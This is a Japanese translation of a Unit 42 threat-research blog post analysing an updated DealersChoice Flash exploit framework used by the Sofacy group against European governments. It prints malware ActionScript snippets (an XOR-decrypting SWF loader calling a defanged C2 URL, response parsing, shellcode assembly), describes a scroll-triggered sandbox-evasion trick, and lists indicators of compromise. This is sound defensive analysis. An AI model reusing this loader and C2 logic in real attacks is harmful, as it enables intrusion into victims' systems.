※ 本記事は2018年3月15日に米国で掲載されたブログ記事の抄訳版となります。

要約

2016年10月、Unit 42は、Sofacy脅威グループによって使用されたFlashエクスプロイト フレームワークの分析を初めて公開しました。このフレームワークはDealersChoiceと呼ばれています。この攻撃は、ファイルに埋め込まれている、またはコマンド&コントロール(C&C)サーバーによって直接提供される、悪意のあるFlashオブジェクトを追加でロードできるAdobe Flashのオブジェクトを含んだMicrosoft Wordの配信ドキュメントから構成されていました。Sofacyは、2016年の秋に繰り返しDealersChoiceを使用しました。これについて私たちは、2016年12月にも特集し、Sofacyの大規模キャンペーンについて説明しました。

3月12日と3月14日、SofacyグループがDealersChoiceの更新された亜種を使用してヨーロッパの政府機関を攻撃したことに私たちは気付きました。更新されたDealersChoiceドキュメントは、同様のプロセスを使用して悪意のあるFlashオブジェクトをC2サーバーから取得しましたが、Flashオブジェクトの内部メカニズムには私たちが分析した元のサンプルと比べて大きく異なるメカニズムが含まれていました。

相違点の1つは極めて巧みな回避手法で、私たちが知る限り、その使用が確認されたことはありませんでした。過去にDealersChoiceサンプルが繰り返し使用された際には、Flashオブジェクトはすぐに悪意のあるタスクをロードし、それを起動していました。3月の攻撃では、ユーザーが配信ドキュメントのコンテンツ全体をスクロールし、Flashオブジェクトが埋め込まれている特定のページを表示した場合のみFlashオブジェクトがロードされます。また、DealersChoiceは、エンドシステムのエクスプロイトに成功するためにアクティブなC2サーバーとの複数回のやり取りを必要とします。

 

エクスプロイトに成功するためのプロセス全体は以下のとおりです。

  1. ユーザーは、電子メールに添付されたMicrosoft Wordのファイルを開く必要があります。
  2. ユーザーは、ドキュメントの3ページ目にスクロールする必要があります。そうすると、DealersChoiceのFlashオブジェクトが実行されます。
  3. Flashオブジェクトは、アクティブなC2サーバーに接続し、エクスプロイトコードが含まれている追加のFlashオブジェクトをダウンロードする必要があります。
  4. 最初のFlashオブジェクトは、同じC2サーバーに接続し、2次ペイロードをダウンロードする必要があります。
  5. 感染ホストは脆弱なバージョンのFlashがインストールされている必要があります。
     

攻撃

この更新された亜種のDealersChoiceが関与している攻撃はヨーロッパの政府機関を標的にしていました。この攻撃は、「Defence & Security 2018 Conference Agenda.docx」というファイル名の添付ファイルが添付されている「Defence & Security 2018 Conference Agenda」という件名のスピア フィッシング メールを使用していました。この添付ドキュメントには、「"Underwater Defence & Security 2018 Conference" here」というWebサイトからSofacyグループが直接コピーしたと思われる会議の予定表が含まれています。

添付された「Defence & Security 2018 Conference Agenda.docx」ファイルを開いても、システムをエクスプロイトする悪意のあるコードはすぐには実行されません。ただし、ユーザーはドキュメントの3ページ目にスクロールする必要があります。そうすると、ユーザーのシステムをエクスプロイトして悪意のあるペイロードをインストールしようとするActionScriptを含むFlashオブジェクトがロードされます。この配信ドキュメント内に埋め込まれたFlashオブジェクトがDealersChoiceと呼ばれるエクスプロイト ツールの亜種です。このことによって、Sofacyグループは、標的の個人が興味を持ち、内容を熟読することを確信していることが示唆されます。

私たちはドキュメントを分析し、ユーザが3ページ目にスクロールしたときのみ悪意のあるFlashオブジェクトが実行される理由を特定しました。document.xmlファイルによると、DealersChoiceのローダーSWFは配信ドキュメント内の「covert-shores-small.png」画像ファイルの後に存在しています。この画像ファイルは、ドキュメントの3ページ目に存在しているため、このSWFファイルを実行するには、ユーザーはドキュメントのこの3ページ目にスクロールダウンする必要があります。図1に示すように、ドキュメント内の極小さい黒いボックスとしてFlashオブジェクトを表示しているため、ユーザーはこのページにFlashオブジェクトがあることに気付かないかもしれません。ドキュメントが悪意のあるアクティビティを示す前に人による操作が必要であり、サンドボックスに対抗するための興味深い技法です。

 

 

図1 配信文書に小さい黒いボックスとして現れるFlashオブジェクト

 

更新されたDealersChoice

このDealersChoice Flashオブジェクトは、以前の亜種とよく似たプロセスを共有していますが、Sofacy攻撃者は内部コードに少々変更を加えているようです。また、攻撃者は、次の説明付きでGitHubから無料で入手可能な「f4player」と呼ばれるオープン ソース ビデオ プレイヤーのActionScriptを使用したようです。

f4Player is an open source flash (AS3) video player and library project.It is so small that it is only 10kb (with skin file) and totally free under GPL license. (f4Playerはオープン ソース フラッシュ(AS3)ビデオ プレイヤーおよびライブラリ プロジェクトです。たった10kb (スキン ファイル付き)と非常に小さく、GPLライセンスの下で完全無料です)

Sofacyの開発者は、f4playerのActionScriptを変更し、埋め込みFlashオブジェクトをロードするための追加のコードを含めました。以下のコード スニッパーでわかるとおり、追加には、埋め込みFlashオブジェクトを復号化するためのコードと、復号化されたオブジェクトを再生する新たに追加された関数(「skinEvent2」)を呼び出すイベント ハンドラーが含まれています。

 

var skinEvent2:Function = function(param1:Event):void
 {
    skin2 = param1.currentTarget.content;
    stage.addChild(skin2);
    skin2.play("hxxp://ndpmedia24[.]com/0pq6m4f.m3u8");
 };
 var mov:Loader = new Loader();
 mov.contentLoaderInfo.addEventListener(Event.COMPLETE,skinEvent2);
 var b:ByteArray = new this.Mov();
 var k:uint = 82;
 var i:uint = 4;
 while(i < b.length)
 {
    b[i] = b[i] ^ k;
    i++;
 }
 mov.loadBytes(b);

 

上記のコードによって、DealersChoiceは2番目のSWFオブジェクトをロードできます。具体的には、C2 URLとして「hxxp://ndpmedia24[.]com/0pq6m4f.m3u8」を含む引数を指定してそれをロードします。

埋め込みSWFは、渡されたC2 URLからドメインを抽出し、それを使用してサーバーの「crossdomain.xml」ファイルを取得するためのURLを作成します。これは、C2ドメインの追加のFlashオブジェクトをロードするためのアクセス権を取得するためです。ActionScriptはイベント リスナーに依存しており、正常にHTTP要求がC2サーバーに発行された後に、イベント「Event.COMPLETE」がトリガされると特定の関数を呼び出します。イベント ハンドラーは次の名前で関数を呼び出します。名前には、関数を呼び出す順序を表す増分する数字が含まれています。

 

  • onload1
  • onload2
  • onload3
  • onload5

 

作成されたこれらのイベント ハンドラーを使用して、ActionScriptは、flash.system.Capabilities.serverStringプロパティからシステム データを収集することから開始し(元のDealersChoice.Bサンプルの場合と同様)、システム データをパラメータとして指定したHTTP GETを、最初にロードされたときに埋め込みSWFに引数として渡されたC2 URLへ発行します。このHTTP要求が完了すると、イベント リスナーは「onload1」関数を呼び出します。

「onload1」関数は、正規表現を使用して、C2 URLへの要求からの応答データを解析します。以下のコード スニペットによると、正規表現は、「/」の後と「/sec」の前の16進文字列、および「/hls/」と「/tracks」の間の任意の文字列を検索しているようです。

var data:String = e.target.data;
var p1:RegExp = //([0-9a-f]+)/sec/gim;
r1 = p1.exec(data);
var r2:Array = p1.exec(data);
var p2:RegExp = //hls/(.+)/tracks/gim;
var r3:Array = p2.exec(data);
r4 = p2.exec(data);


正規表現から、C2サーバーが、HTTP Live Steaming (HLS)トラフィックに似せるためのコンテンツで応答していることがわかります。HLSは、HTTPを使用してストリーミング用のオーディオおよびビデオ ファイルを配信するプロトコルです。HLSを使用すると同時に、f4playerからのActionScriptコードを使用することで、トラフィックが正規に見えるようにしています。正規表現の一致の結果を格納している変数は、C2サーバーとさらにやり取りするために、ActionScript内で使用されます。以下は、これらの変数とそれらの目的のリストです。

 

変数

目的

r1

ダウンロードしたSWFファイルの復号化キーとして使用されます。これは、16バイトの16進文字列です。

r2

未使用。

r3

onload1関数内のHTTP要求内でURLとして使用されます。具体的には、システムをエクスプロイトする目的で悪意のあるSWFファイルを取得するためのURLとして使用されます。

r4

onload2関数内のHTTP要求内でURLとして使用されます。具体的には、システムのエクスプロイトに成功したのちに実行するペイロードを取得するためのURLとして使用されます。

 

その後、「onload1」関数が、「r3」変数にURLとして格納された値を使用して、C2ドメインにHTTP GET要求を送信します。このHTTP要求が完了すると、イベント リスナーは「onload2」関数を呼び出します。

「onload2」関数は、「onload1」関数で発行されたHTTP要求から受け取った応答を復号します。これは、サブ関数を呼び出して内容を復号することで行われます。このとき、「r1」変数に格納された値がキーとして使用されます。内容を復号するサブ関数は、最初の4バイトをスキップします。これは、ダウンロードされた内容の最初の4バイトが平文であることを意味します(合法に見せるため「FWS」ヘッダーや「CWS」ヘッダーを想定)。

内容を復号した後、「onload2」関数は、システム データをパラメータとして、別のHTTP GET要求を発行します。このときは「r4」変数のURLを使用してC2宛に発行します。この要求が完了すると、イベント リスナーは「onload3」関数を呼び出します。

「onload3」関数は、「onload2」のHTTP要求に対する応答を取得し、その応答をペイロードとして扱います。ActionScriptは、C2応答の各バイトを読み取り、各バイトの16進値を取得して、以下のコードを使用し、それぞれ先頭に「0x」、末尾に「,」を付けて、4バイトの16進値のテキスト配列を作成します。

 

sh = she + ("0x" + hex.substr(i + 6,2) + hex.substr(i + 4,2) + hex.substr(i + 2,2) + hex.substr(i,2) + ",");

 

この16進値の文字列は、最終的なポータブル実行可能ファイル(PE)のペイロードを含み、復号するシェルコードの文字列と想定されます。カンマ区切りの16進値の文字列は、「onload2」でダウンロードされたSWFファイルのロード時に、パラメータとして渡されます。この関数は、SWFファイルのロード成功時用のイベント リスナーを作成します。このイベントリスナーは「onload5」関数を呼び出します。

「onload5」関数は、新しくロードされたSWFオブジェクトを子オブジェクトとして現在実行中のオブジェクトに追加する役割を果たします。以下のコードを使用します。

 

stage.addChild(param1.currentTarget.content);

 

これにより、SWFファイルがロードされ、システム上で悪意のあるコードが効果的に実行されます。弊社の分析中には、C2に強制して悪意のあるSWFまたはペイロードを提供させることはできませんでした。DealersChoiceに関する前のブログで述べたように、以前の亜種で選択されたペイロードはSofacyCarberp (Seduploader)でしたが、このツールが今回の攻撃で使用されたことを示す証拠はありません。弊社は現在も調査中であり、この攻撃で悪意のあるFlashオブジェクトおよびペイロードの提供を観測した場合には、このブログを更新する予定です。

 

過去のキャンペーンとのつながり

この攻撃で使用された配信文書は、「Nick Daemoji」という名前のユーザーによって最後に変更されており、このことは以前のSofacy関連の配信文書とのつながりを示しています。このユーザー名を使用した前の文書は、マクロが搭載された配信文書で、Talos のブログで述べたように、SofacyCarberp/Seduploaderペイロードをインストールしていました。また、この類似性は、2つのキャンペーンのソーシャル エンジニアリング テーマが似ていることにも表れています。両方ともに最新の軍事・国防関連会議の内容をルアー(わな)として使用していました。
 

結論

Sofacy脅威グループは、継続してDealersChoiceフレームワークを使用して、攻撃キャンペーンでFlashの脆弱性をエクスプロイトしています。最新の亜種で、Sofacyは、悪意のあるスクリプトの内部を変更しましたが、悪意のあるFlashオブジェクトおよびペイロードをC2サーバーから直接取得することで、以前の亜種で使用したものと同じプロセスを引き続き使用しています。前のサンプルとは異なり、このDealersChoiceは、DOCXの配信文書を使用しており、悪意のあるFlashオブジェクトをトリガーするには、ユーザーがドキュメント全体をスクロールする必要があります。このユーザーの対話の必要性は、サンドボックスに対抗するための興味深い技法であることが判明しており、過去、このグループの活動では見られなかったものです。
 

侵害のインジケーター

DealersChoice

0cd9ac328d858d8d83c9eb73bfdc59a958873b3d71b24c888d7408d9512a41d7 (Defence & Security 2018 Conference Agenda.docx)
ndpmedia24[.]com

 

マクロ搭載ドキュメント

e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
efb235776851502672dba5ef45d96cc65cb9ebba1b49949393a6a85b9c822f52
c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f


 

PA-800 Series

主なセキュリティ機能: すべてのアプリケーションをすべてのポートで常時識別 • 使用されているポートや暗号化(SSLまたはSSH)、セキュリティの回避技術に関わらず、アプリケーションを識別します。 • 許可、拒否、スケジュール、スキャン、帯域制御の適用などのセキュリティ ポリシー決定の要素として、ポートではなくアプリケーションを使用します。 • 不明なアプリケーションを、ポリシー制御、脅威のフォレンジック、またはApp-ID™アプリケーション識別テクノロジの開発が行えるよう分類します。
  • 1
  • 8763

PA-5200 Series

パロアルトネットワークス® PA-5200 Seriesの次世代ファイアウォール アプライアンスは、PA-5260、PA-5250、PA-5220から構成されており、高速データセンター、インターネット ゲートウェイ、およびサービス プロバイダでの導入に適しています。PA-5200シリーズは、ネットワーキング、セキュリティ、脅威からの防御と管理の重要な機能領域専用の処理機能とメモリを使用して、最大80Gbpsのスループットを提供します。
  • 0
  • 4311

PA-220

主なセキュリティ機能: すべてのアプリケーションをすべてのポートで常時識別 • 使用されているポートや暗号化(SSLまたはSSH)、セキュリティの回避技術に関わらず、アプリケーションを識別します。 • 許可、拒否、スケジュール、スキャン、帯域制御の適用などのセキュリティ ポリシー決定の要素として、ポートではなくアプリケーションを使用します。 • 不明なアプリケーションを、ポリシー コントロール、脅威のフォレンジック、またはApp-ID™アプリケーション識別テクノロジーの開発が行えるよう分類します。
  • 0
  • 2997

2018 年のセキュリティ脅威予測とベストプラクティス

2017年のセキュリティの振り返りに引き続き、パロアルトネットワークスが2017年までの傾向から見る、2018年の主なセキュリティ脅威予測とベストプラクティスについて紹介します。
Palo Alto Networks,
  • 0
  • 1139

EncodedCommandによるPowerShell攻撃を暴く

PowerShellは過去数年間で人気を獲得し続けていますが、それはこのフレームワークが発達し続けているからです。したがって、PowerShellを多くの攻撃で見かけるようになっていても少しも驚くことではありません。PowerShellはシステム上の広範囲にわたる機能を攻撃者にネイティブなものとして提供します。有害なPowerShellツールが溢れかえっている現状をざっと見渡してみると、PowerShellの伸びを示す十分な兆候が見て取れます。
  • 0
  • 2080